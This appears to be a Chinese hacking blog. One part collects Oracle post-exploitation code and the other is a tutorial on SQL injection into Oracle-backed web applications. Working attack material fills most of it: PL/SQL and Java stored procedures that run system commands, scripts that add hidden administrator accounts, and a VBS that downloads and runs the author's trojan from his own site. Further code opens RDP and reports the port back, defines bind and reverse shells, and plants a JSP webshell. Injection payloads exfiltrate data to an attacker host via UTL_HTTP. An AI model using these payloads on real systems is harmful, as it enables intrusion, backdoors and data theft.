Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors上面这个没有回显的

如果不行可以使用下面这个

Create or REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
Create or REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
Create or REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors执行完后
执行

exec oracmd.exec ('net1 user robert iloveyou /add');no2.

Create or REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";  // Windows XP/2003
//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe";  // Windows NT/2000
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}

final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();

new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println("Process out :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process output.");
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();

new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println("Process err :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process error.");
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}

public static boolean isWindows() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
return true;
else
return false;
}

};
/
Create or REPLACE PROCEDURE host_command (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';
/
EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
/
DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines  INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);

host_command('dir C:\');

DBMS_OUTPUT.get_lines(l_output, l_lines);
END;这个要注意两点
win下注意系统路径
linx下注意注释掉win
最后一句就是执行命令的
host_command('dir C:\');

no3.

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;这句注意最后这里要授权下当前登陆的用户

grant javasyspriv to system最后执行

exec :x:=run_cmz('ipconfig');第二部分 操作磁盘文件
no1.
建立目录

create or replace directory DIR as 'C:\';此目录当然也可以是启动目录

授权

grant read, write on directory DIR to system这步可以不用
然后执行操作
写文件

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'test.vbs', 'W');
utl_file.put_line(file, 'Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http:/ /blog.cnmoker.org/rad.exe",0
xPost.Send()
Set sGet=CreateObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "c:\rad.exe",2');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\test.vbs');
/
exec :x:=run_cmz('c:\rad.exe');这步操作讲下载我的木马到c盘并执行

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389.vbs', 'W');
utl_file.put_line(file, 'Dim OperationRegistry
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)
TSRegPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,"REG_DWORD"
End If');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\3389.vbs');vbs开启3389

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', 'user.vbs', 'W');
utl_file.put_line(file, 'set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"'||'&'||'wsnetwork.ComputerName
Set oa=CreateObject("Scripting.FileSystemObject")
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","bob")
od.SetPassword "123456abc!@#"
od.SetInfo
Set of=GetObject(os&"/bob",user)
oe.add os&"/bob"
oa.DeleteFile("user.vbs")');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
/
exec :x:=run_cmz('cscript c:\user.vbs');无net添加admin用户

declare
file utl_file.file_type;
begin
file := utl_file.fopen('DIR', '3389p.vbs', 'W');
utl_file.put_line(file, '

Dim OperationRegistry
Set OperationRegistry=WScript.createObject("WScript.Shell")
Dim TSPort,TSState,TSRegPath
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber"
TSPort=OperationRegistry.RegRead(TSRegPath)

Set xPost=CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://blog.cnmoker.org/read3389/ro.asp?port=" '||'ccccc'||' TSPort,0
xPost.Send()

TSRegPath="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\fDenyTSConnections"
TSState=OperationRegistry.RegRead(TSRegPath)
If TSState=0 Then
Else
OperationRegistry.RegWrite TSRegPath,0,"REG_DWORD"
End If
set obj=wscript.createObject("wscript.shell")
obj.Run("sc config TermService start= demand")
obj.Run("sc stop  TermService")
obj.Run("sc start TermService")
wscript.quit
');
utl_file.fflush(file);
utl_file.fclose(file);
end;
/
exec :x:=run_cmz('cscript c:\3389p.vbs');
/
exec :x:=run_cmz('del c:\3389p.vbs');
/
http://blog.cnmoker.org/read3389/read.asp这个代码的作用是用来读取对方的3389端口并post下自己的网站数据库里
这个read.asp和ro.asp自己写吧
到此win下操作基本上是完成了

第三部分 linux的一些操作

linux的操作要用到sqlj语言
其实ISTO的kj总早就写了一些
我总结

create or replace and compile java source named bob as
import java.io.*;
import java.net.*;
public class BOB{
public static String listFolder(String path){
File f=null;
String str="";
f=new File(path);
String[] files=f.list();
if(files!=null)
for(int i=0;i<files.length;i++){
str+=files[i]+"\r\n";
}
return str;
}
public static String saveFile(String filepath,String value){
FileOutputStream fos=null;
try {
fos=new FileOutputStream(filepath);
fos.write(value.getBytes());
return "OK";
} catch (Exception e) {
return e.getMessage();
} finally{
if(fos!=null){
try {fos.close();} catch (Exception e) {}
}
}
}
public static String readFile(String pathfile,String code){
BufferedReader br=null;
String value="";
try {
br=new BufferedReader(new InputStreamReader(new FileInputStream(pathfile),code));
String s=null;
while((s=br.readLine())!=null){
value+=s;
}
return value;
} catch (Exception e) {
return e.getMessage();
} finally{
if(br!=null){try {br.close();} catch (IOException e) {}}
}
}
public static String execFile(String filepath,String code){
int i=0;
Runtime rt=Runtime.getRuntime();
String output="";
InputStreamReader isr = null;
char[] bufferC=new char[1024];
try{
Process ps=rt.exec(filepath);
isr=new InputStreamReader(ps.getInputStream(),code);
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
output+=new String(bufferC,0,i);
}
return output;
}catch(Exception e){
return e.getMessage();
}finally{
if(isr!=null)try {isr.close();} catch (IOException e) {}
}
}
public static String bindShell(int port){
ServerSocket ss=null;
Socket s=null;
try {
ss = new ServerSocket(port);
s=ss.accept();
new optShell(ss,s).start();

return "OK";
} catch (Exception e) {
return e.getMessage();
}
}
public static String reverseShell(String host,int port){
Socket s=null;
try{
s=new Socket(host,port);
new optShell(null,s).start();
return "OK";
}catch(Exception e){
return e.getMessage();
}
} //反弹shell的sqlj语句
public static class optShell extends Thread{
OutputStream os=null;
InputStream is=null;
ServerSocket ss;
Socket s;
public optShell(ServerSocket ss,Socket s){
this.ss=ss;
this.s=s;
try{
this.is=s.getInputStream();
this.os=s.getOutputStream();
}catch(Exception e){
if(os!=null)try {os.close();} catch(Exception ex) {}
if(is!=null)try {is.close();} catch(Exception ex) {}
if(s!=null)try {s.close();} catch(Exception ex) {}
if(ss!=null)try {ss.close();} catch(Exception ex) {}
}
}
public void run(){
BufferedReader br=new BufferedReader(new InputStreamReader(is));
String line="";
String cmdhelp="Command:\r\nlist \r\nsave\r\nread\r\nexec\r\nexit\r\n";
try {
//os.write(cmdhelp.getBytes());
line=br.readLine();
while(!"exit".equals(line)){
if(line.length()>3){
StringBuffer sb=new StringBuffer(line.trim());
String cmd=sb.substring(0, 4);
if(cmd.equals("list")){
os.write("input you path:\r\n".getBytes());
line=br.readLine();
os.write(listFolder(line).getBytes());
}else if("save".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you value:\r\n".getBytes());
os.write(saveFile(line,br.readLine()).getBytes());
}else if("read".equals(cmd)){
os.write("input you filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(readFile(line,br.readLine()).getBytes());
}else if("exec".equals(cmd)){
os.write("input you run filepath:\r\n".getBytes());
line=br.readLine();
os.write("input you code examle:GBK\r\n".getBytes());
os.write(execFile(line,br.readLine()).getBytes());
}else{
os.write(cmdhelp.getBytes());
}
}else{
os.write(cmdhelp.getBytes());
}
line=br.readLine();
}
} catch (Exception e) {
e.printStackTrace();
}finally{
if(os!=null)try {os.close();} catch(Exception e) {}
if(is!=null)try {is.close();} catch(Exception e) {}
if(s!=null)try {s.close();} catch(Exception e) {}
if(ss!=null)try {ss.close();} catch(Exception e) {}
}
}
}
}
/
create or replace function BOB_LISTFOLDER(str varchar2) return varchar2
as language java name 'BOB.listFolder(java.lang.String) return java.lang.String';
/
create or replace function BOB_SAVEFILE(p varchar2,v varchar2) return varchar2
as language java name 'BOB.saveFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_READFILE(p varchar2,c varchar2) return varchar2
as language java name 'BOB.readFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_EXECFILE(fp varchar2,c varchar2) return varchar2
as language java name 'BOB.execFile(java.lang.String,java.lang.String) return java.lang.String';
/
create or replace function BOB_BINDSHELL(port number) return varchar2
as language java name 'BOB.bindShell(int) return java.lang.String';
/
begin
Dbms_Java.Grant_Permission('scott','java.io.FilePermission','<<ALL FILES>>','read,write,execute,delete');
Dbms_Java.Grant_Permission('scott','java.lang.RuntimePermission','*','writeFileDescriptor');
Dbms_Java.grant_permission('scott','java.net.SocketPermission','*:*','accept,connect,listen,resolve');
end;这么一大段,仔细看
执行完后

Select BOB_LISTFOLDER('/usr') FROM DUAL //列目录
Select BOB_EXECFILE('C:\WINDOWS\system32\cmd.exe /c dir c:\','GBK') FROM DUAL; //执行命令
Select BOB_READFILE('/tmp/1.txt','GBK') FROM DUAL; //读文件
Select BOB_SAVEFILE('/tmp/1.jsp','<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter

("f"))).write(request.getParameter("t").getBytes());%>') FROM DUAL; 写jsp一句话 可查看我的上一篇BLOG
Select BOB_BINDSHELL(20000) FROM DUAL //开启端口2000然后你telnet ip 2000上去

其中本来还有reserver shell的
我还没来的及测试
我自己是更中意反弹shell的
特别是linux
好操作的多
再说有时候linux是nat出来的
反弹就去了许多麻烦

第四部分 技巧

一句话读取3389端口

exec :x:=run_cmz('REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber');一句话开3389 只合适win 2k3

exec :x:=run_cmz('REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f');删除pcanywhere导致的终

端登陆错误

exec :x:=run_cmz('reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f');感谢kj,和linx的文章.
最后说下,关于web injection部分
有时间在整理吧

Tags: oracle

Oracle web环境注射技术

Submitted by admin
2009, October 2, 9:44 PM

前言    

本人不是一个专业的数据库管理员,也不是一个专门研究oracle安全的研究员,文中的语句很多都写得非常不专业,对数据库理解也不够,甚至很多语句可能在不同版本上并不适合,一些技术也是牛人们很早提到过的,本文只是从一个web安全的角度来看如何入侵一台被防火墙防护的Oracle数据库,对一些入侵技术做了web入侵上的总结和延伸,尽量将原理讲得明白。本文也并没有对sql注射中存在的一些共性进行讨论 ,如利用substr函数和经典注射这些,而是站在oracle数据库的角度,尽量展现一些Sql注射入侵的思路以及如何利用数据库的一些特性,在web上做最大的入侵。一些牛人的工具也即将发布出来,希望还有人喜欢手工优美的注射。

一、Oracle 简单介绍

Oracle作为一款比较早期出现的RDBMS数据库,市场占有率比较大,经常用在一些大型数据库上。它本身除了很好地支持各种SQL语句外,还提供了各种丰富的包,存储过程,甚至支持java和创建library等特性,如此强大的功能为Hacking提供了很好的便利。

Oracle自身有很多默认的帐户,并且有很多的存储过程,这些存储过程是由系统建立的,很多默认都是对public开放的,在过去的几年里公布了很多oracle的漏洞,包括溢出和SQL注射在内的许多漏洞。在这里面,SQL注射漏洞显得格外严重,因为在Oracle里,在不加其他关键字AUTHID CURRENT_USER的情况下,创建的存储过程在运行时是以创建者身份运行的,而public对这些存储过程都有权限调用,所以一旦自带存储过程存在注射的话,很容易让普通用户提升到Oracle系统权限。Oracle本身内置了很多的帐户,其中一些帐户都有默认的密码并且具有CONNECT的权限,这样如果oralce的端口没有受到防火墙的保护又可以被人远程连接的话,就可以被人利用默认帐户远程登陆进系统然后利用系统里的存储过程的SQL注射漏洞,系统就会沦陷,当然,登陆进oracle还需要sid,不过这也并不困难,oracle的tnslintener默认没有设置密码,完全可以用tnscmd.pl用services命令查出系统的sid(到比较新的版本,这个漏洞已经被修复了),这也是非常经典的入侵oracle的方式。

二、Oracle Web Hacking 技术背景

    oracle丰富的系统表。oracle几乎所有的信息都存储系统表里,当前数据库运行的状态,当前用户的信息,当前数据库的信息,用户所能访问的数据库和表的信息......系统表就是整个数据库的核心部分,通过恰当地查询需要的系统表,几乎可以获得所有的信息。如sys.v_$option就包含了当前数据库的一些信息,如是否支持java等,all_tables里就包含了所有的表信息,all_tab_colmuns包含所有的列信息等等,为我们获得信息提供了非常大的便利,后面将有关于如何利用系统表获取敏感信息的描述。

在oracle的各种漏洞里,需要特别说下存储过程的注射,其实也并没有什么神秘,存储过程和函数一样是接受用户的输入然后送到数据库服务器解析执行,如果是采取的组装成SQL字符串的形式执行的话,就很容易将数据和命令混淆,导致SQL注射。但是根据注射发生的点不同,一样地注射漏洞的性质也不同。Oracle使用的是PL/SQL,漏洞发生在select等DML语句的,因为不支持多语句的执行,所以如果想运行自己的语句如GRANT DBA TO LOVEHSELL这些DDL语句的话,就必须创建自己的函数或存储过程,如果没有这相关的权限还可以利用cursor注射,用dbms_sql包来饶过限制。大多数的注射正是上面这些有限制的注射,必须依靠自己创建的一些其他包或者cursor来实现提升权限的目的,但是还是有些非常少见但是注射环境非常宽松的漏洞,就是用户的输入被放在begin和end之间的匿名pl/sql块的注射,这种环境下的注射可以直接注射进多语句,几乎没有任何限制,而可以看到,正是这种闪光的漏洞为我们的web注射技术带来了怎样的辉煌。

好了,上面谈到的都是Oracle的一些攻击技术,但是现在很多的环境是,对外开放web服务,后台数据库被防火墙保护着,无法得到数据库的太多详细信息,已经不能直接登陆进数据库进行操作,这个时候就要考虑利用web下的漏洞来攻击后台的数据库了。现在来看下如何进行Oracle web环境下注射吧!oracle可以在各种web环境下良好地工作,各种web环境对我们注射的影响也并不是很大,在asp,.net,jsp中对进入的参数基本没做任何过滤,但是由于.net,jsp语言是强类型语言,在数字类型的注射上即使sql语句没有做过滤但是可能在接受参数的时候就出错了,所以注射出现在字符串类型的参数上比较多一些。在php环境下,所有的'会被转义为\',在oracle环境里\'并不会成为转义(在oracle环境里的正确转义应该为''),但是在我们自己的注射语句里使用'会因为被转成\'而遭到破坏,所以在注射时不能使用'。除此之外,web环境下就没什么限制了。在数据库方面,如果语句采取的是参数的方式执行,也不能够被注射,除非使用的是字符串连接的方式(由于字符串连接的方式比较简单,也因为一些历史上的原因,很多程序员往往会偏向于这种方式,),字符串连接方式的话也会分为两种,参数在select,update,insert这些DML语句之间,与参数在pl/sql匿名块之间,如果web程序没有捕获错误,那么我们很容易根据错误判断出当前语句的类型,后面会提到。在pl/sql匿名块之间的比较少见,但也不排除,这样的注射基本也是没有什么限制的,可以执行多语句,做任何事,跟本地登陆没有任何区别。

三、Oracle Web Hacking 基本思路

下面说说如何确定目标,注射参数的确定就由大家自己来了,主要是如何判断数据库属于oracle,根据数据库的特性很容易判断出来,oracle支持--类型注释,但是不支持;分隔执行多语句,oracle有很多系统表,譬如all_tables,通过对这些表的访问也可以判断出是否属于oracle,另外在oracle里的一些函数也可以用来判断,譬如utl_http.request这些,语言上的小细节也可以用来区分系统,譬如在oracle里||是连接符号,但是在其他数据库里就不是了,所以 and chr(123)||chr(123)=chr(123)||chr(123)这样的,如果可以顺利执行,那么就基本应该是oracle了,另外,一些脚本在出现数据库查询错误时,对错误信息没有处理,也会泄露真实的后台数据库,这个可以很明显地看出来。

然后需要确定的是注射点的类型,一般的情况下,我们进入的参数不是数字类型就基本是字符类型(其他很多人所说的搜索型注射其实还是应该归结于字符类型的),对于数字类型的基本不用考虑什么,很容易添加--注释字符就可以让语句正确闭合了,如果是字符类型的就要考虑如何让整个语句正确,通常是添加'以及--这些注射字符来构造自己的注射环境。在一些复杂的情况下,如同一个参数在多个sql语句和逻辑里出现,就要自己小心构造出符合环境的注射语句了,记住,我们只需要一个能便利插入自己sql命令的完好环境:)

在确定目标数据库为Oracle并且可以注射的时候,就可以开始尝试构造语句了。一般首先要进行的是判断当前的权限,在Oracle数据库里权限比较高的是DBA权限,拥有Oracle数据库的所有权限,另外如果当前用户的权限授予不对的话,也可以实现跨库查询的效果,可以通过对dba_tables这样的dba的表进行尝试访问来测试是否是dba。在一般的注射中,分为select类型注射,insert类型注射以及update类型等。update和insert类型的注射可以根据上下文来更改数据库中的数据,如利用update注射将表中某个重要字段更改成我们想要的值,即使这些数据库无关紧要也没关系,我们可以利用select子语句来将我们需要的数据查询出来然后在另外某个地方将这个数据读出来,只要遵循数据库的语法,实现自己的目的就可以了。在这里主要说下select类型的注射,如果我们能控制select语句的一部分的话,就可能实现这种类型注射,如果查询的结果可以返回到页面中的时候,还可以尝试使用union查询出结果,直接将内容显示在页面当中,这是最方便的一种。事实上后面可以看到,无论是什么注射,在oracle的web环境下,都可以直接执行系统命令返回shell。

Oracle中获得敏感数据,首先就是oracle有系统表,任何有权限获得数据都可以从这里获得,关键的系统表有all_tables,all_objects等,都是有权限能访问的,包括别人赋予你权限的,所以如果你的权限是dba的话,这能看到系统中所有的表,注射中一个技巧就是如果你需要从后台登陆但是不知道密码就可以在这里使用了,譬如猜测列名含不含有password等方法,后面的例子中也有讲述。

另外比较需要了解的就是union查询,在oracle union查询中和其他数据库类似,要求列数一样,还要求类型完全一致,oracle类型有很多,常见的有字符类型,数字类型以及日期类型等等,一般我们能用来做union查询并且显示的是字符类型,所以需要精确定位哪个字段符合我们的要求(1 会在页面显示,数据从进入到出来会有很多的流程,很多数据会在中间经过多次的处理,所以要想找到能显示出来的数据,很多时候并不是那么顺利,这种显示包括很多地方,包括返回的http头,页面正文甚至是cookie等。    2 字符类型 因为我们出来的数据大部分都是字符类型,所以需要这个类型用来正确地匹配  3长度需要足够 尽管我们可以用一些字符函数来解决这个问题,但是够长的字段总是非常简便 ),oracle并不会自己做数据类型转换,但是oracle中提供了一个NULL类型,可以匹配所有的数据类型,所以我们在定位完字段数之后就可以在union的各个字段填写null来匹配,另外oracle不支持select 1这样的查询,语法要求select必须有关键字,如果我们没有表可以用,可以用系统中默认谁都有权限的表dual。关于定位字段数其实也比较简单,和其他数据库一样可以利用order by 1-- 这样操作,如果字段个数存在就会正常,通常页面的逻辑会让这个参数 不只在一个地方出现,所以order by地方不一致,所以不能进行union查询。在这里可能会遇到目标语言不支持''的情况,所以可以使用chr这些函数来处理这些问题。

即使不支持union,oracle的一些特性还是让我们轻易拿到想要的信息,就是用系统的utl_http.request包,这个包你可以看做是一个普通的函数,用来取得远方web服务器的请求信息,所以我们完全可以自己监听端口,然后通过这个函数用请求将需要的数据发送过来,这个时候我们还可以用来查看数据库可不可以上网以及出口IP,是个非常重要的一点。正是有了这些系统里丰富的包和函数以及存储过程,使得只要有一个注射点,就可以在oracle里做任何事情,包括权限允许的和权限不允许的,记住,是任何事。

敏感数据只是我们想要的一部分,通常直接杀入oracle可能更有吸引力,这个时候查看系统的信息就非常地有价值了,对注射的灵活运用也非常重要。oracle在启动之后,把系统要用的一些变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。通常非常重要的信息有

1、当前用户权限    (select * from session_roles)
2、当前数据库版本    (select banner from sys.v_$version where rownum=1)
3、服务器出口IP    (用utl_http.request可以实现)
4、服务器监听IP    (select utl_inaddr.get_host_address from dual)
5、服务器操作系统    (select member from v$logfile where rownum=1)
6、服务器sid    (远程连接的话需要,select   instance_name   from   v$instance;)
7、当前连接用户    (select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual)
......

知道上面这些之后就可以大致清楚服务器是在外网还是内网,支不支持远程连接,如果支持远程连接就可以尝试用默认的密码和刚得到的sid登陆了,在获得本地的权限之后,就可以尝试利用众多的包里面存在的注射提升权限了,在http://www.milw0rm.com/搜索oracle关键字可以找到很多这样的漏洞。

如果是远程并且不允许连接的的话,我们还是可以利用包的sql注射的,我上面说可以做任何事的,可以利用一个注射点轻易获得shell。上面说到在oracle里的包注射分好几种,这里需要的就是pl/sql块的注射,这个注射允许直接执行多语句,所以我们可以在web注射里利用这个直接以sys的身份执行多条语句,如添加用户,创建自己的存储过程等等,几乎没有限制。但是系统的这种注射也是非常地少见,在06年被人公布过一个,也就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES,具体的漏洞可以不了解,我也没有找到细节,后面有我做的一些简单黑盒分析,对于我们也只需要知道这是系统里存在的一个存储过程的pl/sql注射,可以导致执行多语句就可以了,而且oracle的补丁机制还不是很完善,基本上不会有管理员去patching这些,所以在我们看来就把这当作是系统提供的执行多语句的一个Hacking接口好了。如果你遇到一个sql注射本身就是在pl/sql里的话没,那么更要恭喜你了 :)

通过上面的几步基本让你可以获得你想要的东西,并且可以得到一个可以执行多语句的环境。在多语句执行的环境里,就可以利用oracle本身强大的功能,如支持java创建外部存储过程,支持utl_file包写文件等等,很方便地利用java写一个shell或者直接利用java包返回一个系统的shell。

四、真实世界里的注射

那么一个真实世界的注射应该是个什么样子呢?让我们试试如何从注射点来获得一个shell:)

首先,我们找到一个可能存在注射的页面,list.jsp?username=loveshell,我们添加一个'结果出错了,通过爆出的错误知道这是一个oracle的后台数据库,如含有ORA-xxxx这样的都是oracle,然后用语句:

    list.jsp?username=loveshell' and ''||'1'='1    正常
    list.jsp?username=loveshell' and ''||'2'='1    返回空
    list.jsp?username=loveshell'--


这样可以知道是一个oracle的字符类型的注射点,那么我们就可以用这种方式插入自己的SQL语句了

    list.jsp?username=loveshell' and [我们的sql语句] --


这个时候我们就可以根据自己的目标考虑后续的入侵思路了,一种是向web方向发展,通过查询数据库的信息来渗透web,一种就是直接入侵数据库,当然,最完美的情况下是oracle和web是一台机器。先说说如何查询数据库里存储的信息吧!要想取得信息就要将信息反馈回来,一种是利用union查询,譬如这里我们的入侵手法类似于下面:

    list.jsp?username=loveshell' order by 10 --     错误,如果错误信息被反馈的话应该会出现xx coloum不存在之类的,字段数小于10
    list.jsp?username=loveshell' order by 5 --    正常显示,字段数大于5

   ......
    最后发现到order by 8的时候错误,order by 7 就正常,说明是7个字段。注意这里,一般的时候,页面的逻辑很简单,所以可以这样order by猜测,但是如果这个参数进入了2个以上sql语句,里面结果的字段数不一,就难用这种方法了,当然,如果进入2个以上Sql语句的话,估计union查询也无法使用了,因为sql语句的前后字段数会不一,无法满足条件,后面我们将说到一种万能的获取数据的方法,这里先说比较直观的union查询。
    list.jsp?username=loveshell' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--    用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是dual。
    这里正常返回,然后我们就可以继续了,寻找的用做信息反馈的字段需要满足我上面在基本思路里的几个条件。

    list.jsp?username=loveshell' and 1=2 union select 1,NULL,NULL,NULL,NULL,NULL,NULL from dual--

       正常

    list.jsp?username=loveshell' and 1=2 union select 1,2,NULL,NULL,NULL,NULL,NULL from dual--

       错误,第二个字段不是数字类型

    list.jsp?username=loveshell' and 1=2 union select 1,'2',NULL,NULL,NULL,NULL,NULL from dual--

        错误,第二个字段不是字符类型
    
    这种情况是可能的,因为字段里还包括其他的如日期等类型,这种类型对于我们反馈信息没什么用,所以用NULL直接跳过。

    list.jsp?username=loveshell' and 1=2 union select 1,NULL,'3',NULL,NULL,NULL,NULL from dual--

        这个时候正常了,而且在页面的对应的位置显示了,这个字段正是我们要找的。有的时候如果想看某个数字是多少怎么办呢?譬如想看记录的条数,直接二分法是可以的,但是直接显示出来还是比较直观,譬如想看dba_tables的记录数

    list.jsp?username=loveshell' and 1=2 union select 1,to_char((select count(*) from dba_tables),'0000000'),NULL,NULL,NULL,NULL,NULL from dual--


    当然还有其他to_系列函数,间接实现其他数据库里的自动转换。这个字段在页面显示并且也足够长,放得下我们的数据,所以我们就可以充分利用这个字段来进行查询了,譬如获得系统的版本信息可以用

    list.jsp?username=loveshell' and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),NULL,NULL,NULL,NULL,NULL from dual--


    如果不能使用union,也没有关系,只要是oracle数据库,我们一样可以把信息给返回来,不用经典查询那么悲观,首先本地用nc -l -vv -p 9999,然后就可以很简单地用

    list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select banner from sys.v_$version where rownum=1))=1--

  
    这个时候loveshell.net的9999端口就应该返回sys.v_$version的banner了,就是数据库的版本,我们还获得了数据库所在网络的ip,呵呵,另外还知道数据库是否允许外连等信息。这里使用子查询来获得数据,Oracle没有limit这样的语句所以可以用where rownum=1来返回第一条数据。但是如果想知道其他某一条记录怎么办呢?直接rownum=2是不行的,这里可以再次嵌套一个子查询

    list.jsp?username=loveshell' and UTL_HTTP.request('http://www.loveshell.net:9999/'||(select data from (select rownum as limit,banner as data from sys.v_$version) where limit =2)=1--


    这样就可以得到第二条记录了,灵活运用可以很快取得需要的数据。

其他的如后台的帐户什么的都可以这样返回来。这种数据的窃取手段适用于update和insert等等一切可以使用函数的地方:),如果不确信存不存在UTL_HTTP包,可以用语句select count(*) from all_objects where object_name='UTL_HTTP'来判断了,注意,在系统表里的数据是大小写敏感的,但是关键字本身是大小写不敏感的。另外某些少数主机也是没有配置dns或者不能上网,没有配置dns的话可以通过用ip访问的方法来测试,不能上网的就要用其他方法了。
    能获取数据了,我们继续向web的后台靠拢,如果我们知道了后台的地址但是没有密码,我们就可以通过查询系统表来找找敏感字段如passwd在哪,然后用上面的信息窃取手段给弄回来。all_tables包含了所有的表的信息,想找有包含passwd的字段在哪就可以用all_tab_columns

    list.jsp?username=loveshell' and 1=2 union select 1,NULL,(select table_name||chr(35)||column_name from all_tab_columns where column_name like '%25PASS%25' and ROWNUM=1),NULL,NULL,NULL,NULL from dual--


    其中的%25为%的转码,这样就能获得我们需要的敏感数据了,另外注意在oracle的系统表里数据都是大写的,所以用PASS而不是pass,或者用函数转成小写也可以,如lower(column_name) like '%25pass%25',进入web后台后可以继续通过后台的功能进行渗透了。
